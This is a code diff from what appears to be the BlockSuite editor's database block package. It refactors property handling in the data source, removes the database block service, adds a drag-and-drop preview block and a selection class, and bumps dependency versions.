@@ -189,38 +196,110 @@ export class DatabaseBlockDataSource extends DataSourceBase {
insertToPosition,
property.create(this.newPropertyName())
);
applyPropertyUpdate(this._model);
return result;
}
propertyDataGet(propertyId: string): Record<string, unknown> {
return (
this._model.columns$.value.find(v => v.id === propertyId)?.data ?? {}
protected override getNormalPropertyAndIndex(propertyId: string):
| {
column: Column<Record<string, unknown>>;
index: number;
}
| undefined {
const index = this._model.columns$.value.findIndex(
v => v.id === propertyId
);
if (index >= 0) {
const column = this._model.columns$.value[index];
if (!column) {
return;
}
return {
column,
index,
};
}
return;
}
private getPropertyAndIndex(propertyId: string):
| {
column: Column<Record<string, unknown>>;
index: number;
}
| undefined {
const result = this.getNormalPropertyAndIndex(propertyId);
if (result) {
return result;
}
if (this.isFixedProperty(propertyId)) {
const meta = this.propertyMetaGet(propertyId);
const defaultData = meta.config.fixed?.defaultData ?? {};
return {
column: {
data: defaultData,
id: propertyId,
type: propertyId,
name: meta.config.name,
},
index: -1,
};
}
return undefined;
}
private updateProperty(id: string, updater: ColumnUpdater) {
const result = this.getPropertyAndIndex(id);
if (!result) {
return;
}
const { column: prevColumn, index } = result;
this._model.doc.transact(() => {
if (index >= 0) {
const result = updater(prevColumn);
this._model.columns[index] = { ...prevColumn, ...result };
} else {
const result = updater(prevColumn);
this._model.columns = [
...this._model.columns,
{ ...prevColumn, ...result },
];
}
});
return id;
}
propertyDataGet(propertyId: string): Record<string, unknown> {
const result = this.getPropertyAndIndex(propertyId);
if (!result) {
return {};
}
return result.column.data;
}
propertyDataSet(propertyId: string, data: Record<string, unknown>): void {
this._runCapture();
updateProperty(this._model, propertyId, () => ({ data }));
applyPropertyUpdate(this._model);
this.updateProperty(propertyId, () => ({ data }));
}
propertyDataTypeGet(propertyId: string): TypeInstance | undefined {
const data = this._model.columns$.value.find(v => v.id === propertyId);
if (!data) {
const result = this.getPropertyAndIndex(propertyId);
if (!result) {
return;
}
const meta = this.propertyMetaGet(data.type);
const { column } = result;
const meta = this.propertyMetaGet(column.type);
return meta.config.type({
data: data.data,
data: column.data,
dataSource: this,
});
}
propertyDelete(id: string): void {
if (this.isFixedProperty(id)) {
return;
}
this.doc.captureSync();
const index = findPropertyIndex(this._model, id);
const index = this._model.columns.findIndex(v => v.id === id);
if (index < 0) return;
this.doc.transact(() => {
@@ -228,10 +307,15 @@ export class DatabaseBlockDataSource extends DataSourceBase {
});
}
propertyDuplicate(propertyId: string): string {
propertyDuplicate(propertyId: string): string | undefined {
if (this.isFixedProperty(propertyId)) {
return;
}
this.doc.captureSync();
const currentSchema = getProperty(this._model, propertyId);
assertExists(currentSchema);
if (!currentSchema) {
return;
}
const { id: copyId, ...nonIdProps } = currentSchema;
const names = new Set(this._model.columns$.value.map(v => v.name));
let index = 1;
@@ -248,7 +332,6 @@ export class DatabaseBlockDataSource extends DataSourceBase {
schema
);
copyCellsByProperty(this._model, copyId, id);
applyPropertyUpdate(this._model);
return id;
}
@@ -267,15 +350,16 @@ export class DatabaseBlockDataSource extends DataSourceBase {
if (propertyId === 'type') {
return 'Block Type';
}
return (
this._model.columns$.value.find(v => v.id === propertyId)?.name ?? ''
);
const result = this.getPropertyAndIndex(propertyId);
if (!result) {
return '';
}
return result.column.name;
}
propertyNameSet(propertyId: string, name: string): void {
this.doc.captureSync();
updateProperty(this._model, propertyId, () => ({ name }));
applyPropertyUpdate(this._model);
this.updateProperty(propertyId, () => ({ name }));
}
override propertyReadonlyGet(propertyId: string): boolean {
@@ -287,12 +371,17 @@ export class DatabaseBlockDataSource extends DataSourceBase {
if (propertyId === 'type') {
return 'image';
}
return (
this._model.columns$.value.find(v => v.id === propertyId)?.type ?? ''
);
const result = this.getPropertyAndIndex(propertyId);
if (!result) {
return '';
}
return result.column.type;
}
propertyTypeSet(propertyId: string, toType: string): void {
if (this.isFixedProperty(propertyId)) {
return;
}
const currentType = this.propertyTypeGet(propertyId);
const currentData = this.propertyDataGet(propertyId);
const rows = this.rows$.value;
@@ -325,7 +414,6 @@ export class DatabaseBlockDataSource extends DataSourceBase {
}
});
updateCells(this._model, propertyId, cells);
applyPropertyUpdate(this._model);
}
rowAdd(insertPosition: InsertToPosition | number): string {
@@ -377,7 +465,7 @@ export class DatabaseBlockDataSource extends DataSourceBase {
return duplicateView(this._model, id);
}
viewDataGet(viewId: string): DataViewDataType {
viewDataGet(viewId: string): DataViewDataType | undefined {
return this.viewDataList$.value.find(data => data.id === viewId)!;
}
@@ -403,91 +491,28 @@ export class DatabaseBlockDataSource extends DataSourceBase {
return view;
}
viewMetaGetById(viewId: string): ViewMeta {
viewMetaGetById(viewId: string): ViewMeta | undefined {
const view = this.viewDataGet(viewId);
if (!view) {
return;
}
return this.viewMetaGet(view.mode);
}
}
export const databaseViewAddView = (
model: DatabaseBlockModel,
viewType: string
) => {
const dataSource = new DatabaseBlockDataSource(model);
dataSource.viewManager.viewAdd(viewType);
};
export const databaseViewInitEmpty = (
model: DatabaseBlockModel,
viewType: string
) => {
addProperty(
model,
'start',
titlePropertyModelConfig.create(titlePropertyModelConfig.config.name)
);
databaseViewAddView(model, viewType);
};
export const databaseViewInitConvert = (
model: DatabaseBlockModel,
viewType: string
) => {
addProperty(
model,
'end',
propertyPresets.multiSelectPropertyConfig.create('Tag', { options: [] })
);
databaseViewInitEmpty(model, viewType);
};
export const databaseViewInitTemplate = (
model: DatabaseBlockModel,
datasource: DatabaseBlockDataSource,
viewType: string
) => {
const ids = [nanoid(), nanoid(), nanoid()] as const;
const statusId = addProperty(
model,
'end',
propertyPresets.selectPropertyConfig.create('Status', {
options: [
{
id: ids[0],
color: getTagColor(),
value: 'TODO',
},
{
id: ids[1],
color: getTagColor(),
value: 'In Progress',
},
{
id: ids[2],
color: getTagColor(),
value: 'Done',
},
],
})
);
for (let i = 0; i < 4; i++) {
const rowId = model.doc.addBlock(
'affine:paragraph',
{
text: new Text(`Task ${i + 1}`),
},
model.id
);
updateCell(model, rowId, {
columnId: statusId,
value: ids[i],
});
}
databaseViewInitEmpty(model, viewType);
Array.from({ length: 3 }).forEach(() => {
datasource.rowAdd('end');
});
datasource.viewManager.viewAdd(viewType);
};
export const convertToDatabase = (host: EditorHost, viewType: string) => {
const [_, ctx] = host.std.command
.chain()
.getSelectedModels({
types: ['block', 'text'],
})
.run();
const [_, ctx] = host.std.command.exec(getSelectedModelsCommand, {
types: ['block', 'text'],
});
const { selectedModels } = ctx;
const firstModel = selectedModels?.[0];
if (!firstModel) return;
@@ -511,8 +536,8 @@ export const convertToDatabase = (host: EditorHost, viewType: string) => {
if (!databaseModel) {
return;
}
databaseViewInitConvert(databaseModel, viewType);
applyPropertyUpdate(databaseModel);
const datasource = new DatabaseBlockDataSource(databaseModel);
datasource.viewManager.viewAdd(viewType);
host.doc.moveBlocks(selectedModels, databaseModel);
const selectionManager = host.selection;

View File

@@ -4,7 +4,7 @@ import {
popMenu,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import { DragIndicator } from '@blocksuite/affine-components/drag-indicator';
import { DropIndicator } from '@blocksuite/affine-components/drop-indicator';
import { PeekViewProvider } from '@blocksuite/affine-components/peek';
import { toast } from '@blocksuite/affine-components/toast';
import type { DatabaseBlockModel } from '@blocksuite/affine-model';
@@ -23,7 +23,6 @@ import {
import {
createRecordDetail,
createUniComponentFromWebComponent,
DatabaseSelection,
DataView,
dataViewCommonStyle,
type DataViewInstance,
@@ -49,19 +48,19 @@ import { computed, signal } from '@preact/signals-core';
import { css, html, nothing, unsafeCSS } from 'lit';
import { popSideDetail } from './components/layout.js';
import type { DatabaseOptionsConfig } from './config.js';
import {
DatabaseConfigExtension,
type DatabaseOptionsConfig,
} from './config.js';
import { HostContextKey } from './context/host-context.js';
import { DatabaseBlockDataSource } from './data-source.js';
import type { DatabaseBlockService } from './database-service.js';
import { BlockRenderer } from './detail-panel/block-renderer.js';
import { NoteRenderer } from './detail-panel/note-renderer.js';
import { DatabaseSelection } from './selection.js';
import { currentViewStorage } from './utils/current-view.js';
import { getSingleDocIdFromText } from './utils/title-doc.js';
export class DatabaseBlockComponent extends CaptionedBlockComponent<
DatabaseBlockModel,
DatabaseBlockService
> {
export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBlockModel> {
static override styles = css`
${unsafeCSS(dataViewCommonStyle('affine-database'))}
affine-database {
@@ -245,7 +244,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<
}
);
indicator = new DragIndicator();
indicator = new DropIndicator();
onDrag = (evt: MouseEvent, id: string): (() => void) => {
const result = getDropResult(evt);
@@ -337,7 +336,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<
this._dataSource = new DatabaseBlockDataSource(this.model);
this._dataSource.contextSet(HostContextKey, this.host);
const id = currentViewStorage.getCurrentView(this.model.id);
if (id) {
if (id && this.dataSource.viewManager.viewGet(id)) {
this.dataSource.viewManager.setCurrentView(id);
}
}
@@ -347,7 +346,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<
get optionsConfig(): DatabaseOptionsConfig {
return {
configure: (_model, options) => options,
...this.std.getConfig('affine:database'),
...this.std.getOptional(DatabaseConfigExtension.identifier),
};
}

View File

@@ -0,0 +1,58 @@
import type { DatabaseBlockModel } from '@blocksuite/affine-model';
import { unsafeCSSVarV2 } from '@blocksuite/affine-shared/theme';
import { BlockComponent } from '@blocksuite/block-std';
import { DatabaseListViewIcon } from '@blocksuite/icons/lit';
import { css, html } from 'lit';
export class DatabaseDndPreviewBlockComponent extends BlockComponent<DatabaseBlockModel> {
static override styles = css`
.affine-database-preview-container {
display: flex;
flex-direction: column;
align-items: flex-start;
padding: 4px;
box-sizing: border-box;
border-radius: 8px;
background-color: ${unsafeCSSVarV2(
'layer/background/overlayPanel',
'#FBFBFC'
)};
}
.database-preview-content {
padding: 4px 16px;
display: flex;
gap: 8px;
}
.database-preview-content > svg {
color: ${unsafeCSSVarV2('icon/primary', '#77757D')};
}
.database-preview-content > .text {
color: var(--affine-text-primary-color);
color: ${unsafeCSSVarV2('text/primary', '#121212')};
font-size: 14px;
line-height: 24px;
}
`;
override renderBlock() {
return html`<div
class="affine-database-preview-container"
contenteditable="false"
>
<div class="database-preview-content">
${DatabaseListViewIcon({ width: '24px', height: '24px' })}
<span class="text">Database Block</span>
</div>
</div>`;
}
}
declare global {
interface HTMLElementTagNameMap {
'affine-dnd-preview-database': DatabaseDndPreviewBlockComponent;
}
}

View File

@@ -1,59 +0,0 @@
import {
type DatabaseBlockModel,
DatabaseBlockSchema,
} from '@blocksuite/affine-model';
import { BlockService } from '@blocksuite/block-std';
import { viewPresets } from '@blocksuite/data-view/view-presets';
import type { BlockModel, Store } from '@blocksuite/store';
import {
databaseViewAddView,
databaseViewInitEmpty,
databaseViewInitTemplate,
} from './data-source.js';
import {
addProperty,
applyPropertyUpdate,
updateCell,
updateView,
} from './utils/block-utils.js';
export class DatabaseBlockService extends BlockService {
static override readonly flavour = DatabaseBlockSchema.model.flavour;
addColumn = addProperty;
applyColumnUpdate = applyPropertyUpdate;
databaseViewAddView = databaseViewAddView;
databaseViewInitEmpty = databaseViewInitEmpty;
updateCell = updateCell;
updateView = updateView;
viewPresets = viewPresets;
initDatabaseBlock(
doc: Store,
model: BlockModel,
databaseId: string,
viewType: string,
isAppendNewRow = true
) {
const blockModel = doc.getBlock(databaseId)?.model as
| DatabaseBlockModel
| undefined;
if (!blockModel) {
return;
}
databaseViewInitTemplate(blockModel, viewType);
if (isAppendNewRow) {
const parent = doc.getParent(model);
if (!parent) return;
doc.addBlock('affine:paragraph', {}, parent.id);
}
applyPropertyUpdate(blockModel);
}
}

View File

@@ -1,19 +1,11 @@
import {
BlockViewExtension,
CommandExtension,
FlavourExtension,
} from '@blocksuite/block-std';
import { BlockViewExtension, FlavourExtension } from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { DatabaseBlockAdapterExtensions } from './adapters/extension.js';
import { commands } from './commands.js';
import { DatabaseBlockService } from './database-service.js';
export const DatabaseBlockSpec: ExtensionType[] = [
FlavourExtension('affine:database'),
DatabaseBlockService,
CommandExtension(commands),
BlockViewExtension('affine:database', literal`affine-database`),
DatabaseBlockAdapterExtensions,
].flat();

View File

@@ -76,10 +76,6 @@ export class BlockRenderer
return this.host?.doc.getBlock(this.rowId)?.model;
}
get service() {
return this.host.std.getService('affine:database');
}
override connectedCallback() {
super.connectedCallback();
if (this.model && this.model.text) {
@@ -131,7 +127,7 @@ export class BlockRenderer
.attributesSchema=${this.attributesSchema}
.attributeRenderer=${this.attributeRenderer}
.embedChecker=${this.inlineManager.embedChecker}
.markdownShortcutHandler=${this.inlineManager.markdownShortcutHandler}
.markdownMatches=${this.inlineManager.markdownMatches}
class="inline-editor"
></rich-text>
`;

View File

@@ -1,14 +1,14 @@
import type {
DatabaseBlockModel,
RootBlockModel,
import {
CodeBlockModel,
type DatabaseBlockModel,
ListBlockModel,
ParagraphBlockModel,
type RootBlockModel,
} from '@blocksuite/affine-model';
import { REFERENCE_NODE } from '@blocksuite/affine-shared/consts';
import { TelemetryProvider } from '@blocksuite/affine-shared/services';
import type { AffineTextAttributes } from '@blocksuite/affine-shared/types';
import {
createDefaultDoc,
matchFlavours,
} from '@blocksuite/affine-shared/utils';
import { createDefaultDoc, matchModels } from '@blocksuite/affine-shared/utils';
import { type EditorHost, ShadowlessElement } from '@blocksuite/block-std';
import type { DetailSlotProps, SingleView } from '@blocksuite/data-view';
import { SignalWatcher, WithDisposable } from '@blocksuite/global/utils';
@@ -72,10 +72,10 @@ export class NoteRenderer
note.root.children
.find(child => child.flavour === 'affine:note')
?.children.find(block =>
matchFlavours(block, [
'affine:paragraph',
'affine:list',
'affine:code',
matchModels(block, [
ParagraphBlockModel,
ListBlockModel,
CodeBlockModel,
])
);
}

View File

@@ -1,9 +1,7 @@
import type { insertDatabaseBlockCommand } from './commands';
import { CenterPeek } from './components/layout';
import { DatabaseTitle } from './components/title';
import type { DatabaseOptionsConfig } from './config';
import { DatabaseBlockComponent } from './database-block';
import type { DatabaseBlockService } from './database-service';
import { DatabaseDndPreviewBlockComponent } from './database-dnd-preview-block';
import { BlockRenderer } from './detail-panel/block-renderer';
import { NoteRenderer } from './detail-panel/note-renderer';
import { LinkCell, LinkCellEditing } from './properties/link/cell-renderer';
@@ -38,31 +36,9 @@ export function effects() {
customElements.define('database-datasource-block-renderer', BlockRenderer);
customElements.define('affine-database-link-node', LinkNode);
customElements.define('affine-database', DatabaseBlockComponent);
}
declare global {
namespace BlockSuite {
interface BlockConfigs {
'affine:database': Partial<DatabaseOptionsConfig>;
}
interface CommandContext {
insertedDatabaseBlockId?: string;
}
interface Commands {
/**
* insert a database block after or before the current block selection
* @param latex the LaTeX content. A input dialog will be shown if not provided
* @param removeEmptyLine remove the current block if it is empty
* @param place where to insert the LaTeX block
* @returns the id of the inserted LaTeX block
*/
insertDatabaseBlock: typeof insertDatabaseBlockCommand;
}
interface BlockServices {
'affine:database': DatabaseBlockService;
}
}
customElements.define(
'affine-dnd-preview-database',
DatabaseDndPreviewBlockComponent
);
}

View File

@@ -1,16 +1,13 @@
import type * as CommandType from '@blocksuite/affine-shared/commands';
declare type _GLOBAL_ = typeof CommandType;
export * from './adapters';
export type { DatabaseOptionsConfig } from './config';
export * from './commands';
export * from './config';
export * from './data-source';
export * from './database-block';
export * from './database-service';
export * from './database-spec';
export * from './detail-panel/block-renderer';
export * from './detail-panel/note-renderer';
export * from './properties';
export * from './properties/rich-text/cell-renderer';
export * from './properties/utils';
export * from './selection.js';
export * from './utils/block-utils';

View File

@@ -21,18 +21,12 @@ export const databaseBlockColumns = {
numberColumnConfig: numberPropertyConfig,
progressColumnConfig: progressPropertyConfig,
selectColumnConfig: selectPropertyConfig,
imageColumnConfig: propertyPresets.imagePropertyConfig,
linkColumnConfig,
richTextColumnConfig,
titleColumnConfig,
};
export const databaseBlockPropertyList = Object.values(databaseBlockColumns);
export const databaseBlockHiddenColumns = [
propertyPresets.imagePropertyConfig,
titleColumnConfig,
];
const databaseBlockAllColumns = [
...databaseBlockPropertyList,
...databaseBlockHiddenColumns,
];
export const databaseBlockAllPropertyMap = Object.fromEntries(
databaseBlockAllColumns.map(v => [v.type, v as PropertyMetaConfig])
databaseBlockPropertyList.map(v => [v.type, v as PropertyMetaConfig])
);

View File

@@ -119,9 +119,10 @@ export class LinkCell extends BaseCellRenderer<string> {
return;
}
std
.getOptional(RefNodeSlotsProvider)
?.docLinkClicked.emit({ pageId: this.docId });
std.getOptional(RefNodeSlotsProvider)?.docLinkClicked.emit({
pageId: this.docId,
host: std.host,
});
};
get std() {

View File

@@ -3,7 +3,6 @@ import type {
RichText,
} from '@blocksuite/affine-components/rich-text';
import { DefaultInlineManagerExtension } from '@blocksuite/affine-components/rich-text';
import type { RootBlockModel } from '@blocksuite/affine-model';
import {
ParseDocUrlProvider,
TelemetryProvider,
@@ -23,8 +22,7 @@ import { assertExists } from '@blocksuite/global/utils';
import type { DeltaInsert } from '@blocksuite/inline';
import type { BlockSnapshot } from '@blocksuite/store';
import { Text } from '@blocksuite/store';
import { computed, signal } from '@preact/signals-core';
import { css, nothing } from 'lit';
import { css } from 'lit';
import { query } from 'lit/decorators.js';
import { keyed } from 'lit/directives/keyed.js';
import { html } from 'lit/static-html.js';
@@ -143,12 +141,6 @@ abstract class BaseRichTextCell extends BaseCellRenderer<Text> {
?.std.get(DefaultInlineManagerExtension.identifier);
}
get service() {
return this.view
.contextGet(HostContextKey)
?.std.getService('affine:database');
}
get topContenteditableElement() {
const databaseBlock =
this.closest<DatabaseBlockComponent>('affine-database');
@@ -172,19 +164,6 @@ abstract class BaseRichTextCell extends BaseCellRenderer<Text> {
@query('.affine-database-rich-text')
accessor _richTextElement!: HTMLElement;
docId$ = signal<string>();
isLinkedDoc$ = computed(() => false);
linkedDocTitle$ = computed(() => {
if (!this.docId$.value) {
return this.value;
}
const doc = this.host?.std.workspace.getDoc(this.docId$.value);
const root = doc?.root as RootBlockModel;
return root.title;
});
}
export class RichTextCell extends BaseRichTextCell {
@@ -232,7 +211,6 @@ export class RichTextCell extends BaseRichTextCell {
}
override render() {
if (!this.service) return nothing;
if (!this.value || !(this.value instanceof Text)) {
return html`<div class="affine-database-rich-text"></div>`;
}
@@ -243,7 +221,7 @@ export class RichTextCell extends BaseRichTextCell {
.attributesSchema=${this.attributesSchema}
.attributeRenderer=${this.attributeRenderer}
.embedChecker=${this.inlineManager?.embedChecker}
.markdownShortcutHandler=${this.inlineManager?.markdownShortcutHandler}
.markdownMatches=${this.inlineManager?.markdownMatches}
.readonly=${true}
class="affine-database-rich-text inline-editor"
></rich-text>`
@@ -492,7 +470,6 @@ export class RichTextCellEditing extends BaseRichTextCell {
override connectedCallback() {
super.connectedCallback();
if (!this.value || typeof this.value === 'string') {
this._initYText(this.value);
}
@@ -540,14 +517,15 @@ export class RichTextCellEditing extends BaseRichTextCell {
}
override render() {
if (!this.service) return nothing;
return html`<rich-text
data-disable-ask-ai
data-not-block-text
.yText=${this.value}
.inlineEventSource=${this.topContenteditableElement}
.attributesSchema=${this.attributesSchema}
.attributeRenderer=${this.attributeRenderer}
.embedChecker=${this.inlineManager?.embedChecker}
.markdownShortcutHandler=${this.inlineManager?.markdownShortcutHandler}
.markdownMatches=${this.inlineManager?.markdownMatches}
.verticalScrollContainerGetter=${() =>
this.topContenteditableElement?.host
? getViewportElement(this.topContenteditableElement.host)

View File

@@ -21,6 +21,7 @@ export const richTextPropertyModelConfig =
};
},
cellToJson: ({ value, dataSource }) => {
if (!value) return null;
const host = dataSource.contextGet(HostContextKey);
if (host) {
const collection = host.std.workspace;

View File

@@ -8,6 +8,10 @@ export const titleColumnType = propertyType('title');
export const titlePropertyModelConfig = titleColumnType.modelConfig<Text>({
name: 'Title',
fixed: {
defaultData: {},
defaultShow: true,
},
type: () => t.richText.instance(),
defaultData: () => ({}),
cellToString: ({ value }) => value?.toString() ?? '',
@@ -17,6 +21,7 @@ export const titlePropertyModelConfig = titleColumnType.modelConfig<Text>({
};
},
cellToJson: ({ value, dataSource }) => {
if (!value) return null;
const host = dataSource.contextGet(HostContextKey);
if (host) {
const collection = host.std.workspace;

View File

@@ -123,10 +123,6 @@ abstract class BaseTextCell extends BaseCellRenderer<Text> {
return this.host?.std.get(DefaultInlineManagerExtension.identifier);
}
get service() {
return this.host?.std.getService('affine:database');
}
get topContenteditableElement() {
const databaseBlock =
this.closest<DatabaseBlockComponent>('affine-database');
@@ -191,7 +187,7 @@ export class HeaderAreaTextCell extends BaseTextCell {
.attributesSchema="${this.attributesSchema}"
.attributeRenderer="${this.attributeRenderer}"
.embedChecker="${this.inlineManager?.embedChecker}"
.markdownShortcutHandler="${this.inlineManager?.markdownShortcutHandler}"
.markdownMatches="${this.inlineManager?.markdownMatches}"
.readonly="${true}"
class="data-view-header-area-rich-text"
></rich-text>`;
@@ -388,12 +384,14 @@ export class HeaderAreaTextCellEditing extends BaseTextCell {
override renderBlockText() {
return html` <rich-text
data-disable-ask-ai
data-not-block-text
.yText="${this.value}"
.inlineEventSource="${this.topContenteditableElement}"
.attributesSchema="${this.attributesSchema}"
.attributeRenderer="${this.attributeRenderer}"
.embedChecker="${this.inlineManager?.embedChecker}"
.markdownShortcutHandler="${this.inlineManager?.markdownShortcutHandler}"
.markdownMatches="${this.inlineManager?.markdownMatches}"
.readonly="${this.readonly}"
.enableClipboard="${false}"
.verticalScrollContainerGetter="${() =>
@@ -407,6 +405,8 @@ export class HeaderAreaTextCellEditing extends BaseTextCell {
override renderLinkedDoc(): TemplateResult {
return html` <rich-text
data-disable-ask-ai
data-not-block-text
.yText="${this.linkedDocTitle$.value}"
.inlineEventSource="${this.topContenteditableElement}"
.readonly="${this.readonly}"

View File

@@ -0,0 +1,68 @@
import type { DataViewSelection } from '@blocksuite/data-view';
import {
KanbanViewSelectionWithTypeSchema,
TableViewSelectionWithTypeSchema,
} from '@blocksuite/data-view/view-presets';
import { BaseSelection, SelectionExtension } from '@blocksuite/store';
import { z } from 'zod';
const ViewSelectionSchema = z.union([
TableViewSelectionWithTypeSchema,
KanbanViewSelectionWithTypeSchema,
]);
const DatabaseSelectionSchema = z.object({
blockId: z.string(),
viewSelection: ViewSelectionSchema,
});
export class DatabaseSelection extends BaseSelection {
static override group = 'note';
static override type = 'database';
readonly viewSelection: DataViewSelection;
get viewId() {
return this.viewSelection.viewId;
}
constructor({
blockId,
viewSelection,
}: {
blockId: string;
viewSelection: DataViewSelection;
}) {
super({
blockId,
});
this.viewSelection = viewSelection;
}
static override fromJSON(json: Record<string, unknown>): DatabaseSelection {
const { blockId, viewSelection } = DatabaseSelectionSchema.parse(json);
return new DatabaseSelection({
blockId,
viewSelection: viewSelection,
});
}
override equals(other: BaseSelection): boolean {
if (!(other instanceof DatabaseSelection)) {
return false;
}
return this.blockId === other.blockId;
}
override toJSON(): Record<string, unknown> {
return {
type: 'database',
blockId: this.blockId,
viewSelection: this.viewSelection,
};
}
}
export const DatabaseSelectionExtension = SelectionExtension(DatabaseSelection);

View File

@@ -37,24 +37,6 @@ export function addProperty(
return id;
}
export function applyCellsUpdate(model: DatabaseBlockModel) {
model.doc.updateBlock(model, {
cells: model.cells,
});
}
export function applyPropertyUpdate(model: DatabaseBlockModel) {
model.doc.updateBlock(model, {
columns: model.columns,
});
}
export function applyViewsUpdate(model: DatabaseBlockModel) {
model.doc.updateBlock(model, {
views: model.views,
});
}
export function copyCellsByProperty(
model: DatabaseBlockModel,
fromId: Column['id'],
@@ -77,7 +59,7 @@ export function deleteColumn(
model: DatabaseBlockModel,
columnId: Column['id']
) {
const index = findPropertyIndex(model, columnId);
const index = model.columns.findIndex(v => v.id === columnId);
if (index < 0) return;
model.doc.transact(() => {
@@ -116,10 +98,6 @@ export function duplicateView(model: DatabaseBlockModel, id: string): string {
return newId;
}
export function findPropertyIndex(model: DatabaseBlockModel, id: Column['id']) {
return model.columns.findIndex(v => v.id === id);
}
export function getCell(
model: DatabaseBlockModel,
rowId: BlockModel['id'],
@@ -160,7 +138,6 @@ export function moveViewTo(
arr => insertPositionToIndex(position, arr)
);
});
applyViewsUpdate(model);
}
export function updateCell(
@@ -228,7 +205,8 @@ export function updateCells(
export function updateProperty(
model: DatabaseBlockModel,
id: string,
updater: ColumnUpdater
updater: ColumnUpdater,
defaultValue?: Record<string, unknown>
) {
const index = model.columns.findIndex(v => v.id === id);
if (index == null) {
@@ -240,7 +218,7 @@ export function updateProperty(
return;
}
const result = updater(column);
model.columns[index] = { ...column, ...result };
model.columns[index] = { ...defaultValue, ...column, ...result };
});
return id;
}
@@ -258,6 +236,5 @@ export const updateView = <ViewData extends ViewBasicDataType>(
return { ...v, ...update(v as ViewData) };
});
});
applyViewsUpdate(model);
};
export const DATABASE_CONVERT_WHITE_LIST = ['affine:list', 'affine:paragraph'];

View File

@@ -20,10 +20,10 @@
"@blocksuite/global": "workspace:*",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@floating-ui/dom": "^1.6.13",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.3",
"@toeverything/theme": "^1.1.12",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
@@ -39,5 +39,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
"version": "0.20.0"
}

Some files were not shown because too many files have changed in this diff Show More